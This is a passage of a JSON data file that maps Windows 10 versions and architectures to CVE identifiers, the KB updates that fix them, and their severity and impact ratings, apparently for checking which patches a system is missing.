Systems":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013941","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4464330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8453","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013941","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041578","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043050","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048661","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044277","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050008","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053596","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053596","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055519","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058392","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058392","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060531","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066586","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062557","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063877","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063877","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099538","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099538","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122876","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-85880","kb":"5122876","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1903 for 32-bit Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1069","kb":"4503293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4517389","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1903 for ARM64-based Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1069","kb":"4503293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4517389","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1903 for x64-based Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1069","kb":"4503293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4517389","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1909 for 32-bit Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003169","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003169","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003635","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601315","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009545","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601315","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000808","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005566","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006667","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1909 for ARM64-based Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003169","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003169","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003635","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601315","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009545","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601315","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000808","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005566","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006667","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1909 for x64-based Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003169","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003169","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003635","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601315","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009545","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601315","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000808","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005566","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006667","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 2004 for 32-bit Systems":[{"cve":"CVE-2020-1313","kb":"4557957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4566782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4566782","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 2004 for ARM64-based Systems":[{"cve":"CVE-2020-1313","kb":"4557957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4566782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4566782","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 2004 for x64-based Systems":[{"cve":"CVE-2020-1313","kb":"4557957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4566782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4566782","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 20H2 for 32-bit Systems":[{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004945","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 20H2 for ARM64-based Systems":[{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004945","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 20H2 for x64-based Systems":[{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"}],"Windows 10 Version 21H1 for 32-bit Systems":[{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of 